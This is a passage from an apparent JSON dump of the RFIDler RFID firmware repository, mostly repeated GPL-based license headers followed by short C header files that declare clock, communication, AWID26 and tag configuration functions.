term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\nBYTE autopot(void);\nunsigned int autorate(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/awid.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#define AWID26_DATABITS      96\n\nBOOL awid26_hex_to_uid(unsigned char *response, unsigned char *awid26);\nBOOL bcd_to_awid26_bin(unsigned char *awid26, unsigned char *bcd);\nBOOL awid26_get_uid(BYTE *response);\nBOOL awid26_hex_to_uid(BYTE *response, BYTE *hex);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/clock.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n//void shutdown_clock(void);\nvoid InitHWClock(BYTE type, unsigned long width, unsigned long period, BYTE initial_state);\nvoid InitHWReaderISR(unsigned long time, BOOL immediate);\nvoid pause_HW_clock_FC(unsigned long fc, BYTE state);\nvoid stop_HW_clock(void);\nvoid stop_HW_reader_ISR(void);\nvoid clock_test();\nunsigned int GetTimer_us(BYTE reset);\nunsigned long GetTimer_ticks(BYTE reset);\nvoid Delay_us(unsigned long us);\nvoid TimerWait(unsigned long ticks);\nvoid TimerWait_FC(unsigned long fc);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/comms.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nvoid UserMessage(BYTE *format, BYTE *message);\nvoid UserMessageNum(BYTE *message, unsigned long num);\nBYTE GetUserMessage(char *buffer, BYTE len);\nvoid SendUSBMessage(char *message, unsigned int len);\nvoid UserBinary(char *message, unsigned int length);\nvoid UserBinaryByte(BYTE message);\nvoid SendUART3Message(unsigned char *message, unsigned int len);\nunsigned int GetUART3Message(unsigned char *message, unsigned int timeout);\n//void SendUSBMessageNum(char *message, unsigned long num);\n//void SendUSBMessageHexNum(char *message, unsigned long num);\nBYTE get_prompt(unsigned char *prompt);\nvoid BlinkCommsStatus(void);\nBOOL get_user_abort(void);\nvoid eod(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/config.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include <stdint.h>\n\n#define GET_CONFIG(config, mask, shift)         ((config & mask) >> shift)\n#define SET_CONFIG(config, mask, shift, setting)  ((config & ~mask) | ((setting << shift) & mask))\n\nBOOL config_block_number(unsigned int *block, BYTE tagtype);\nBOOL pw_block_number(unsigned int *block, BYTE tagtype);\nBOOL info_block_number(unsigned int *block, BYTE tagtype);\nBOOL config_user_block(unsigned int *block, BYTE tagtype);\nBOOL get_config_block(BYTE *out, BYTE tagtype);\nBOOL get_pw_block(BYTE *out, BYTE tagtype);\nBOOL get_info_block(BYTE *out, BYTE tagtype);\nBOOL config_block(BYTE *config, BYTE target_tagtype, BYTE emulator_tagtype);\nBOOL config_block_show(BYTE *config, BYTE *password, BYTE *info, BYTE tagtype);\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/debug_pins.h",
